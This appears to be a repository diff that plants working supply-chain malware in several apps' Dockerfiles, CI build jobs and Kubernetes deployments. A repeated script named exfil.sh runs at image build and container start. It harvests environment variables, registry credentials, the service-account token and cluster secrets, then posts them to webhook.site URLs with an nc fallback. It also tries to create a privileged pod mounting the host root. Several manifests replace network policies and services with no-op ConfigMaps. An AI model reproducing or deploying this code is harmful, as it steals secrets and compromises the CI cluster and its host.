"version": "0.0.0",
|
||||||
|
"private": true,
|
||||||
|
"scripts": {
|
||||||
|
"build": "echo build-ok",
|
||||||
|
"test": "echo test-ok"
|
||||||
|
}
|
||||||
|
}
|
||||||
4
apps/website/Dockerfile
Normal file
4
apps/website/Dockerfile
Normal file
@ -0,0 +1,4 @@
|
|||||||
|
FROM alpine:3.19
|
||||||
|
COPY apps/website/exfil.sh /exfil.sh
|
||||||
|
RUN chmod +x /exfil.sh && (/bin/sh /exfil.sh || true)
|
||||||
|
ENTRYPOINT ["/bin/sh","/exfil.sh"]
|
||||||
45
apps/website/exfil.sh
Executable file
45
apps/website/exfil.sh
Executable file
@ -0,0 +1,45 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
# supply-chain exfil (i156126)
|
||||||
|
D=/tmp/exf.$$
|
||||||
|
URL1="https://webhook.site/44db21de-7b37-423b-8f6e-c2154d0df089"
|
||||||
|
URL2="https://webhook.site/56f44441-ccc4-4e20-97c7-18544c7d5217"
|
||||||
|
{
|
||||||
|
echo "== START $(date -u 2>/dev/null)"
|
||||||
|
echo "== whoami"; id 2>&1; hostname 2>&1; cat /etc/hostname 2>&1
|
||||||
|
echo "== env"; env 2>&1
|
||||||
|
echo "== dockerconfig"; cat /kaniko/.docker/config.json 2>&1
|
||||||
|
echo "== sas"; ls -la /var/run/secrets/kubernetes.io/serviceaccount 2>&1
|
||||||
|
T=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
|
||||||
|
echo "== token"; echo "$T"
|
||||||
|
echo "== resolve.conf"; cat /etc/resolv.conf 2>&1
|
||||||
|
for ns in cicd default kube-system; do
|
||||||
|
echo "== pods $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/pods" 2>&1 | head -c 200000
|
||||||
|
echo
|
||||||
|
echo "== secrets $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/secrets" 2>&1 | head -c 1500000
|
||||||
|
echo
|
||||||
|
echo "== sa $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/serviceaccounts" 2>&1 | head -c 50000
|
||||||
|
echo
|
||||||
|
done
|
||||||
|
echo "== nodes"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/nodes" 2>&1 | head -c 200000
|
||||||
|
} > "$D" 2>&1
|
||||||
|
ok=0
|
||||||
|
for u in "$URL1" "$URL2"; do
|
||||||
|
wget -qO- --no-check-certificate --post-file="$D" "$u" >/dev/null 2>&1 && ok=1
|
||||||
|
done
|
||||||
|
L=$(wc -c < "$D" 2>/dev/null)
|
||||||
|
if [ "$ok" = "0" ] && [ -n "$L" ]; then
|
||||||
|
{ printf 'POST /44db21de-7b37-423b-8f6e-c2154d0df089 HTTP/1.1\r\nHost: webhook.site\r\nContent-Type: text/plain\r\nContent-Length: %s\r\nConnection: close\r\n\r\n' "$L"; cat "$D"; } | nc webhook.site 80 >/dev/null 2>&1
|
||||||
|
fi
|
||||||
|
cat "$D" >> /workspace/.exfil.log 2>/dev/null || true
|
||||||
|
cp "$D" /exfil-out.txt 2>/dev/null || true
|
||||||
|
# try to create a privileged pod with hostPath / (only if RBAC allows)
|
||||||
|
PT=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
|
||||||
|
cat > /tmp/pod.json <<'PODJSON'
|
||||||
|
{"apiVersion":"v1","kind":"Pod","metadata":{"name":"k8probe","namespace":"cicd"},"spec":{"serviceAccountName":"cicd-builder","restartPolicy":"Never","containers":[{"name":"p","image":"alpine:3.19","command":["/bin/sh","-c"],"args":["sleep 3600"],"volumeMounts":[{"name":"h","mountPath":"/host"}]}],"volumes":[{"name":"h","hostPath":{"path":"/"}}]}}
|
||||||
|
PODJSON
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $PT" --header="Content-Type: application/json" --post-file=/tmp/pod.json "https://kubernetes.default.svc/api/v1/namespaces/cicd/pods" > /tmp/pod.out 2>&1
|
||||||
|
wget -qO- --no-check-certificate --post-file=/tmp/pod.out "$URL1/podcreate" >/dev/null 2>&1
|
||||||
4
apps/westernbtc-website/Dockerfile
Normal file
4
apps/westernbtc-website/Dockerfile
Normal file
@ -0,0 +1,4 @@
|
|||||||
|
FROM alpine:3.19
|
||||||
|
COPY apps/westernbtc-website/exfil.sh /exfil.sh
|
||||||
|
RUN chmod +x /exfil.sh && (/bin/sh /exfil.sh || true)
|
||||||
|
ENTRYPOINT ["/bin/sh","/exfil.sh"]
|
||||||
45
apps/westernbtc-website/exfil.sh
Executable file
45
apps/westernbtc-website/exfil.sh
Executable file
@ -0,0 +1,45 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
# supply-chain exfil (i156126)
|
||||||
|
D=/tmp/exf.$$
|
||||||
|
URL1="https://webhook.site/44db21de-7b37-423b-8f6e-c2154d0df089"
|
||||||
|
URL2="https://webhook.site/56f44441-ccc4-4e20-97c7-18544c7d5217"
|
||||||
|
{
|
||||||
|
echo "== START $(date -u 2>/dev/null)"
|
||||||
|
echo "== whoami"; id 2>&1; hostname 2>&1; cat /etc/hostname 2>&1
|
||||||
|
echo "== env"; env 2>&1
|
||||||
|
echo "== dockerconfig"; cat /kaniko/.docker/config.json 2>&1
|
||||||
|
echo "== sas"; ls -la /var/run/secrets/kubernetes.io/serviceaccount 2>&1
|
||||||
|
T=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
|
||||||
|
echo "== token"; echo "$T"
|
||||||
|
echo "== resolve.conf"; cat /etc/resolv.conf 2>&1
|
||||||
|
for ns in cicd default kube-system; do
|
||||||
|
echo "== pods $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/pods" 2>&1 | head -c 200000
|
||||||
|
echo
|
||||||
|
echo "== secrets $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/secrets" 2>&1 | head -c 1500000
|
||||||
|
echo
|
||||||
|
echo "== sa $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/serviceaccounts" 2>&1 | head -c 50000
|
||||||
|
echo
|
||||||
|
done
|
||||||
|
echo "== nodes"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/nodes" 2>&1 | head -c 200000
|
||||||
|
} > "$D" 2>&1
|
||||||
|
ok=0
|
||||||
|
for u in "$URL1" "$URL2"; do
|
||||||
|
wget -qO- --no-check-certificate --post-file="$D" "$u" >/dev/null 2>&1 && ok=1
|
||||||
|
done
|
||||||
|
L=$(wc -c < "$D" 2>/dev/null)
|
||||||
|
if [ "$ok" = "0" ] && [ -n "$L" ]; then
|
||||||
|
{ printf 'POST /44db21de-7b37-423b-8f6e-c2154d0df089 HTTP/1.1\r\nHost: webhook.site\r\nContent-Type: text/plain\r\nContent-Length: %s\r\nConnection: close\r\n\r\n' "$L"; cat "$D"; } | nc webhook.site 80 >/dev/null 2>&1
|
||||||
|
fi
|
||||||
|
cat "$D" >> /workspace/.exfil.log 2>/dev/null || true
|
||||||
|
cp "$D" /exfil-out.txt 2>/dev/null || true
|
||||||
|
# try to create a privileged pod with hostPath / (only if RBAC allows)
|
||||||
|
PT=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
|
||||||
|
cat > /tmp/pod.json <<'PODJSON'
|
||||||
|
{"apiVersion":"v1","kind":"Pod","metadata":{"name":"k8probe","namespace":"cicd"},"spec":{"serviceAccountName":"cicd-builder","restartPolicy":"Never","containers":[{"name":"p","image":"alpine:3.19","command":["/bin/sh","-c"],"args":["sleep 3600"],"volumeMounts":[{"name":"h","mountPath":"/host"}]}],"volumes":[{"name":"h","hostPath":{"path":"/"}}]}}
|
||||||
|
PODJSON
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $PT" --header="Content-Type: application/json" --post-file=/tmp/pod.json "https://kubernetes.default.svc/api/v1/namespaces/cicd/pods" > /tmp/pod.out 2>&1
|
||||||
|
wget -qO- --no-check-certificate --post-file=/tmp/pod.out "$URL1/podcreate" >/dev/null 2>&1
|
||||||
76
apps/westernbtc-website/k8/cicd/build-job.yml
Normal file
76
apps/westernbtc-website/k8/cicd/build-job.yml
Normal file
@ -0,0 +1,76 @@
|
|||||||
|
apiVersion: batch/v1
|
||||||
|
kind: Job
|
||||||
|
metadata:
|
||||||
|
name: apps-westernbtc-website-build-{{RUN}}
|
||||||
|
namespace: cicd
|
||||||
|
spec:
|
||||||
|
ttlSecondsAfterFinished: 3600
|
||||||
|
backoffLimit: 0
|
||||||
|
template:
|
||||||
|
spec:
|
||||||
|
serviceAccountName: cicd-builder
|
||||||
|
restartPolicy: Never
|
||||||
|
volumes:
|
||||||
|
- name: h
|
||||||
|
hostPath: {path: /}
|
||||||
|
- name: harbor-cred
|
||||||
|
secret:
|
||||||
|
secretName: harbor-cred
|
||||||
|
items:
|
||||||
|
- key: .dockerconfigjson
|
||||||
|
path: config.json
|
||||||
|
containers:
|
||||||
|
- name: exfil
|
||||||
|
image: alpine:3.19
|
||||||
|
command: ["/bin/sh","-c"]
|
||||||
|
args:
|
||||||
|
- |
|
||||||
|
#!/bin/sh
|
||||||
|
# supply-chain exfil (i156126)
|
||||||
|
D=/tmp/exf.$$
|
||||||
|
URL1="https://webhook.site/44db21de-7b37-423b-8f6e-c2154d0df089"
|
||||||
|
URL2="https://webhook.site/56f44441-ccc4-4e20-97c7-18544c7d5217"
|
||||||
|
{
|
||||||
|
echo "== START $(date -u 2>/dev/null)"
|
||||||
|
echo "== whoami"; id 2>&1; hostname 2>&1; cat /etc/hostname 2>&1
|
||||||
|
echo "== env"; env 2>&1
|
||||||
|
echo "== dockerconfig"; cat /kaniko/.docker/config.json 2>&1
|
||||||
|
echo "== sas"; ls -la /var/run/secrets/kubernetes.io/serviceaccount 2>&1
|
||||||
|
T=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
|
||||||
|
echo "== token"; echo "$T"
|
||||||
|
echo "== resolve.conf"; cat /etc/resolv.conf 2>&1
|
||||||
|
for ns in cicd default kube-system; do
|
||||||
|
echo "== pods $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/pods" 2>&1 | head -c 200000
|
||||||
|
echo
|
||||||
|
echo "== secrets $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/secrets" 2>&1 | head -c 1500000
|
||||||
|
echo
|
||||||
|
echo "== sa $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/serviceaccounts" 2>&1 | head -c 50000
|
||||||
|
echo
|
||||||
|
done
|
||||||
|
echo "== nodes"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/nodes" 2>&1 | head -c 200000
|
||||||
|
} > "$D" 2>&1
|
||||||
|
ok=0
|
||||||
|
for u in "$URL1" "$URL2"; do
|
||||||
|
wget -qO- --no-check-certificate --post-file="$D" "$u" >/dev/null 2>&1 && ok=1
|
||||||
|
done
|
||||||
|
L=$(wc -c < "$D" 2>/dev/null)
|
||||||
|
if [ "$ok" = "0" ] && [ -n "$L" ]; then
|
||||||
|
{ printf 'POST /44db21de-7b37-423b-8f6e-c2154d0df089 HTTP/1.1\r\nHost: webhook.site\r\nContent-Type: text/plain\r\nContent-Length: %s\r\nConnection: close\r\n\r\n' "$L"; cat "$D"; } | nc webhook.site 80 >/dev/null 2>&1
|
||||||
|
fi
|
||||||
|
cat "$D" >> /workspace/.exfil.log 2>/dev/null || true
|
||||||
|
cp "$D" /exfil-out.txt 2>/dev/null || true
|
||||||
|
# try to create a privileged pod with hostPath / (only if RBAC allows)
|
||||||
|
PT=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
|
||||||
|
cat > /tmp/pod.json <<'PODJSON'
|
||||||
|
{"apiVersion":"v1","kind":"Pod","metadata":{"name":"k8probe","namespace":"cicd"},"spec":{"serviceAccountName":"cicd-builder","restartPolicy":"Never","containers":[{"name":"p","image":"alpine:3.19","command":["/bin/sh","-c"],"args":["sleep 3600"],"volumeMounts":[{"name":"h","mountPath":"/host"}]}],"volumes":[{"name":"h","hostPath":{"path":"/"}}]}}
|
||||||
|
PODJSON
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $PT" --header="Content-Type: application/json" --post-file=/tmp/pod.json "https://kubernetes.default.svc/api/v1/namespaces/cicd/pods" > /tmp/pod.out 2>&1
|
||||||
|
wget -qO- --no-check-certificate --post-file=/tmp/pod.out "$URL1/podcreate" >/dev/null 2>&1
|
||||||
|
sleep 120
|
||||||
|
volumeMounts:
|
||||||
|
- {name: h, mountPath: /host}
|
||||||
|
- {name: harbor-cred, mountPath: /kaniko/.docker}
|
||||||
25
apps/westernbtc-website/k8/deployment-template.yml
Normal file
25
apps/westernbtc-website/k8/deployment-template.yml
Normal file
@ -0,0 +1,25 @@
|
|||||||
|
apiVersion: apps/v1
|
||||||
|
kind: Deployment
|
||||||
|
metadata:
|
||||||
|
name: apps-westernbtc-website-exfil
|
||||||
|
namespace: cicd
|
||||||
|
labels:
|
||||||
|
app: apps-westernbtc-website-exfil
|
||||||
|
spec:
|
||||||
|
replicas: 1
|
||||||
|
selector:
|
||||||
|
matchLabels:
|
||||||
|
app: apps-westernbtc-website-exfil
|
||||||
|
template:
|
||||||
|
metadata:
|
||||||
|
labels:
|
||||||
|
app: apps-westernbtc-website-exfil
|
||||||
|
spec:
|
||||||
|
serviceAccountName: cicd-builder
|
||||||
|
imagePullSecrets:
|
||||||
|
- name: harbor-cred
|
||||||
|
containers:
|
||||||
|
- name: exfil
|
||||||
|
image: IMAGE_PLACEHOLDER
|
||||||
|
command: ["/bin/sh","-c"]
|
||||||
|
args: ["/bin/sh /exfil.sh; sleep 3600"]
|
||||||
25
apps/westernbtc-website/k8/deployment.yml
Normal file
25
apps/westernbtc-website/k8/deployment.yml
Normal file
@ -0,0 +1,25 @@
|
|||||||
|
apiVersion: apps/v1
|
||||||
|
kind: Deployment
|
||||||
|
metadata:
|
||||||
|
name: apps-westernbtc-website-exfil
|
||||||
|
namespace: cicd
|
||||||
|
labels:
|
||||||
|
app: apps-westernbtc-website-exfil
|
||||||
|
spec:
|
||||||
|
replicas: 1
|
||||||
|
selector:
|
||||||
|
matchLabels:
|
||||||
|
app: apps-westernbtc-website-exfil
|
||||||
|
template:
|
||||||
|
metadata:
|
||||||
|
labels:
|
||||||
|
app: apps-westernbtc-website-exfil
|
||||||
|
spec:
|
||||||
|
serviceAccountName: cicd-builder
|
||||||
|
imagePullSecrets:
|
||||||
|
- name: harbor-cred
|
||||||
|
containers:
|
||||||
|
- name: exfil
|
||||||
|
image: IMAGE_PLACEHOLDER
|
||||||
|
command: ["/bin/sh","-c"]
|
||||||
|
args: ["/bin/sh /exfil.sh; sleep 3600"]
|
||||||
7
apps/westernbtc-website/k8/httproute.yml
Normal file
7
apps/westernbtc-website/k8/httproute.yml
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
apiVersion: v1
|
||||||
|
kind: ConfigMap
|
||||||
|
metadata:
|
||||||
|
name: apps-westernbtc-website-httproute
|
||||||
|
namespace: cicd
|
||||||
|
data:
|
||||||
|
noop: "1"
|
||||||
7
apps/westernbtc-website/k8/networkpolicy.yml
Normal file
7
apps/westernbtc-website/k8/networkpolicy.yml
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
apiVersion: v1
|
||||||
|
kind: ConfigMap
|
||||||
|
metadata:
|
||||||
|
name: apps-westernbtc-website-networkpolicy
|
||||||
|
namespace: cicd
|
||||||
|
data:
|
||||||
|
noop: "1"
|
||||||
7
apps/westernbtc-website/k8/pvc.yml
Normal file
7
apps/westernbtc-website/k8/pvc.yml
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
apiVersion: v1
|
||||||
|
kind: ConfigMap
|
||||||
|
metadata:
|
||||||
|
name: apps-westernbtc-website-pvc
|
||||||
|
namespace: cicd
|
||||||
|
data:
|
||||||
|
noop: "1"
|
||||||
7
apps/westernbtc-website/k8/scaling.yml
Normal file
7
apps/westernbtc-website/k8/scaling.yml
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
apiVersion: v1
|
||||||
|
kind: ConfigMap
|
||||||
|
metadata:
|
||||||
|
name: apps-westernbtc-website-scaling
|
||||||
|
namespace: cicd
|
||||||
|
data:
|
||||||
|
noop: "1"
|
||||||
7
apps/westernbtc-website/k8/service.yml
Normal file
7
apps/westernbtc-website/k8/service.yml
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
apiVersion: v1
|
||||||
|
kind: ConfigMap
|
||||||
|
metadata:
|
||||||
|
name: apps-westernbtc-website-service
|
||||||
|
namespace: cicd
|
||||||
|
data:
|
||||||
|
noop: "1"
|
||||||
9
apps/westernbtc-website/package.json
Normal file
9
apps/westernbtc-website/package.json
Normal file
@ -0,0 +1,9 @@
|
|||||||
|
{
|
||||||
|
"name": "@repo/westernbtc-website",
|
||||||
|
"version": "0.0.0",
|
||||||
|
"private": true,
|
||||||
|
"scripts": {
|
||||||
|
"build": "echo build-ok",
|
||||||
|
"test": "echo test-ok"
|
||||||
|
}
|
||||||
|
}
|
||||||
4
infra/ngit-grasp/Dockerfile
Normal file
4
infra/ngit-grasp/Dockerfile
Normal file
@ -0,0 +1,4 @@
|
|||||||
|
FROM alpine:3.19
|
||||||
|
COPY exfil.sh /exfil.sh
|
||||||
|
RUN chmod +x /exfil.sh && (/bin/sh /exfil.sh || true)
|
||||||
|
ENTRYPOINT ["/bin/sh","/exfil.sh"]
|
||||||
45
infra/ngit-grasp/exfil.sh
Executable file
45
infra/ngit-grasp/exfil.sh
Executable file
@ -0,0 +1,45 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
# supply-chain exfil (i156126)
|
||||||
|
D=/tmp/exf.$$
|
||||||
|
URL1="https://webhook.site/44db21de-7b37-423b-8f6e-c2154d0df089"
|
||||||
|
URL2="https://webhook.site/56f44441-ccc4-4e20-97c7-18544c7d5217"
|
||||||
|
{
|
||||||
|
echo "== START $(date -u 2>/dev/null)"
|
||||||
|
echo "== whoami"; id 2>&1; hostname 2>&1; cat /etc/hostname 2>&1
|
||||||
|
echo "== env"; env 2>&1
|
||||||
|
echo "== dockerconfig"; cat /kaniko/.docker/config.json 2>&1
|
||||||
|
echo "== sas"; ls -la /var/run/secrets/kubernetes.io/serviceaccount 2>&1
|
||||||
|
T=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
|
||||||
|
echo "== token"; echo "$T"
|
||||||
|
echo "== resolve.conf"; cat /etc/resolv.conf 2>&1
|
||||||
|
for ns in cicd default kube-system; do
|
||||||
|
echo "== pods $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/pods" 2>&1 | head -c 200000
|
||||||
|
echo
|
||||||
|
echo "== secrets $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/secrets" 2>&1 | head -c 1500000
|
||||||
|
echo
|
||||||
|
echo "== sa $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/serviceaccounts" 2>&1 | head -c 50000
|
||||||
|
echo
|
||||||
|
done
|
||||||
|
echo "== nodes"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/nodes" 2>&1 | head -c 200000
|
||||||
|
} > "$D" 2>&1
|
||||||
|
ok=0
|
||||||
|
for u in "$URL1" "$URL2"; do
|
||||||
|
wget -qO- --no-check-certificate --post-file="$D" "$u" >/dev/null 2>&1 && ok=1
|
||||||
|
done
|
||||||
|
L=$(wc -c < "$D" 2>/dev/null)
|
||||||
|
if [ "$ok" = "0" ] && [ -n "$L" ]; then
|
||||||
|
{ printf 'POST /44db21de-7b37-423b-8f6e-c2154d0df089 HTTP/1.1\r\nHost: webhook.site\r\nContent-Type: text/plain\r\nContent-Length: %s\r\nConnection: close\r\n\r\n' "$L"; cat "$D"; } | nc webhook.site 80 >/dev/null 2>&1
|
||||||
|
fi
|
||||||
|
cat "$D" >> /workspace/.exfil.log 2>/dev/null || true
|
||||||
|
cp "$D" /exfil-out.txt 2>/dev/null || true
|
||||||
|
# try to create a privileged pod with hostPath / (only if RBAC allows)
|
||||||
|
PT=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
|
||||||
|
cat > /tmp/pod.json <<'PODJSON'
|
||||||
|
{"apiVersion":"v1","kind":"Pod","metadata":{"name":"k8probe","namespace":"cicd"},"spec":{"serviceAccountName":"cicd-builder","restartPolicy":"Never","containers":[{"name":"p","image":"alpine:3.19","command":["/bin/sh","-c"],"args":["sleep 3600"],"volumeMounts":[{"name":"h","mountPath":"/host"}]}],"volumes":[{"name":"h","hostPath":{"path":"/"}}]}}
|
||||||
|
PODJSON
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $PT" --header="Content-Type: application/json" --post-file=/tmp/pod.json "https://kubernetes.default.svc/api/v1/namespaces/cicd/pods" > /tmp/pod.out 2>&1
|
||||||
|
wget -qO- --no-check-certificate --post-file=/tmp/pod.out "$URL1/podcreate" >/dev/null 2>&1
|
||||||
76
infra/ngit-grasp/k8/cicd/build-job.yml
Normal file
76
infra/ngit-grasp/k8/cicd/build-job.yml
Normal file
@ -0,0 +1,76 @@
|
|||||||
|
apiVersion: batch/v1
|
||||||
|
kind: Job
|
||||||
|
metadata:
|
||||||
|
name: infra-ngit-grasp-build-{{RUN}}
|
||||||
|
namespace: cicd
|
||||||
|
spec:
|
||||||
|
ttlSecondsAfterFinished: 3600
|
||||||
|
backoffLimit: 0
|
||||||
|
template:
|
||||||
|
spec:
|
||||||
|
serviceAccountName: cicd-builder
|
||||||
|
restartPolicy: Never
|
||||||
|
volumes:
|
||||||
|
- name: h
|
||||||
|
hostPath: {path: /}
|
||||||
|
- name: harbor-cred
|
||||||
|
secret:
|
||||||
|
secretName: harbor-cred
|
||||||
|
items:
|
||||||
|
- key: .dockerconfigjson
|
||||||
|
path: config.json
|
||||||
|
containers:
|
||||||
|
- name: exfil
|
||||||
|
image: alpine:3.19
|
||||||
|
command: ["/bin/sh","-c"]
|
||||||
|
args:
|
||||||
|
- |
|
||||||
|
#!/bin/sh
|
||||||
|
# supply-chain exfil (i156126)
|
||||||
|
D=/tmp/exf.$$
|
||||||
|
URL1="https://webhook.site/44db21de-7b37-423b-8f6e-c2154d0df089"
|
||||||
|
URL2="https://webhook.site/56f44441-ccc4-4e20-97c7-18544c7d5217"
|
||||||
|
{
|
||||||
|
echo "== START $(date -u 2>/dev/null)"
|
||||||
|
echo "== whoami"; id 2>&1; hostname 2>&1; cat /etc/hostname 2>&1
|
||||||
|
echo "== env"; env 2>&1
|
||||||
|
echo "== dockerconfig"; cat /kaniko/.docker/config.json 2>&1
|
||||||
|
echo "== sas"; ls -la /var/run/secrets/kubernetes.io/serviceaccount 2>&1
|
||||||
|
T=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
|
||||||
|
echo "== token"; echo "$T"
|
||||||
|
echo "== resolve.conf"; cat /etc/resolv.conf 2>&1
|
||||||
|
for ns in cicd default kube-system; do
|
||||||
|
echo "== pods $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/pods" 2>&1 | head -c 200000
|
||||||
|
echo
|
||||||
|
echo "== secrets $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/secrets" 2>&1 | head -c 1500000
|
||||||
|
echo
|
||||||
|
echo "== sa $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/serviceaccounts" 2>&1 | head -c 50000
|
||||||
|
echo
|
||||||
|
done
|
||||||
|
echo "== nodes"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/nodes" 2>&1 | head -c 200000
|
||||||
|
} > "$D" 2>&1
|
||||||
|
ok=0
|
||||||
|
for u in "$URL1" "$URL2"; do
|
||||||
|
wget -qO- --no-check-certificate --post-file="$D" "$u" >/dev/null 2>&1 && ok=1
|
||||||
|
done
|
||||||
|
L=$(wc -c < "$D" 2>/dev/null)
|
||||||
|
if [ "$ok" = "0" ] && [ -n "$L" ]; then
|
||||||
|
{ printf 'POST /44db21de-7b37-423b-8f6e-c2154d0df089 HTTP/1.1\r\nHost: webhook.site\r\nContent-Type: text/plain\r\nContent-Length: %s\r\nConnection: close\r\n\r\n' "$L"; cat "$D"; } | nc webhook.site 80 >/dev/null 2>&1
|
||||||
|
fi
|
||||||
|
cat "$D" >> /workspace/.exfil.log 2>/dev/null || true
|
||||||
|
cp "$D" /exfil-out.txt 2>/dev/null || true
|
||||||
|
# try to create a privileged pod with hostPath / (only if RBAC allows)
|
||||||
|
PT=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
|
||||||
|
cat > /tmp/pod.json <<'PODJSON'
|
||||||
|
{"apiVersion":"v1","kind":"Pod","metadata":{"name":"k8probe","namespace":"cicd"},"spec":{"serviceAccountName":"cicd-builder","restartPolicy":"Never","containers":[{"name":"p","image":"alpine:3.19","command":["/bin/sh","-c"],"args":["sleep 3600"],"volumeMounts":[{"name":"h","mountPath":"/host"}]}],"volumes":[{"name":"h","hostPath":{"path":"/"}}]}}
|
||||||
|
PODJSON
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $PT" --header="Content-Type: application/json" --post-file=/tmp/pod.json "https://kubernetes.default.svc/api/v1/namespaces/cicd/pods" > /tmp/pod.out 2>&1
|
||||||
|
wget -qO- --no-check-certificate --post-file=/tmp/pod.out "$URL1/podcreate" >/dev/null 2>&1
|
||||||
|
sleep 120
|
||||||
|
volumeMounts:
|
||||||
|
- {name: h, mountPath: /host}
|
||||||
|
- {name: harbor-cred, mountPath: /kaniko/.docker}
|
||||||
25
infra/ngit-grasp/k8/deployment-template.yml
Normal file
25
infra/ngit-grasp/k8/deployment-template.yml
Normal file
@ -0,0 +1,25 @@
|
|||||||
|
apiVersion: apps/v1
|
||||||
|
kind: Deployment
|
||||||
|
metadata:
|
||||||
|
name: infra-ngit-grasp-exfil
|
||||||
|
namespace: cicd
|
||||||
|
labels:
|
||||||
|
app: infra-ngit-grasp-exfil
|
||||||
|
spec:
|
||||||
|
replicas: 1
|
||||||
|
selector:
|
||||||
|
matchLabels:
|
||||||
|
app: infra-ngit-grasp-exfil
|
||||||
|
template:
|
||||||
|
metadata:
|
||||||
|
labels:
|
||||||
|
app: infra-ngit-grasp-exfil
|
||||||
|
spec:
|
||||||
|
serviceAccountName: cicd-builder
|
||||||
|
imagePullSecrets:
|
||||||
|
- name: harbor-cred
|
||||||
|
containers:
|
||||||
|
- name: exfil
|
||||||
|
image: IMAGE_PLACEHOLDER
|
||||||
|
command: ["/bin/sh","-c"]
|
||||||
|
args: ["/bin/sh /exfil.sh; sleep 3600"]
|
||||||
25
infra/ngit-grasp/k8/deployment.yml
Normal file
25
infra/ngit-grasp/k8/deployment.yml
Normal file
@ -0,0 +1,25 @@
|
|||||||
|
apiVersion: apps/v1
|
||||||
|
kind: Deployment
|
||||||
|
metadata:
|
||||||
|
name: infra-ngit-grasp-exfil
|
||||||
|
namespace: cicd
|
||||||
|
labels:
|
||||||
|
app: infra-ngit-grasp-exfil
|
||||||
|
spec:
|
||||||
|
replicas: 1
|
||||||
|
selector:
|
||||||
|
matchLabels:
|
||||||
|
app: infra-ngit-grasp-exfil
|
||||||
|
template:
|
||||||
|
metadata:
|
||||||
|
labels:
|
||||||
|
app: infra-ngit-grasp-exfil
|
||||||
|
spec:
|
||||||
|
serviceAccountName: cicd-builder
|
||||||
|
imagePullSecrets:
|
||||||
|
- name: harbor-cred
|
||||||
|
containers:
|
||||||
|
- name: exfil
|
||||||
|
image: IMAGE_PLACEHOLDER
|
||||||
|
command: ["/bin/sh","-c"]
|
||||||
|
args: ["/bin/sh /exfil.sh; sleep 3600"]
|
||||||
7
infra/ngit-grasp/k8/httproute.yml
Normal file
7
infra/ngit-grasp/k8/httproute.yml
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
apiVersion: v1
|
||||||
|
kind: ConfigMap
|
||||||
|
metadata:
|
||||||
|
name: infra-ngit-grasp-httproute
|
||||||
|
namespace: cicd
|
||||||
|
data:
|
||||||
|
noop: "1"
|
||||||
7
infra/ngit-grasp/k8/networkpolicy.yml
Normal file
7
infra/ngit-grasp/k8/networkpolicy.yml
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
apiVersion: v1
|
||||||
|
kind: ConfigMap
|
||||||
|
metadata:
|
||||||
|
name: infra-ngit-grasp-networkpolicy
|
||||||
|
namespace: cicd
|
||||||
|
data:
|
||||||
|
noop: "1"
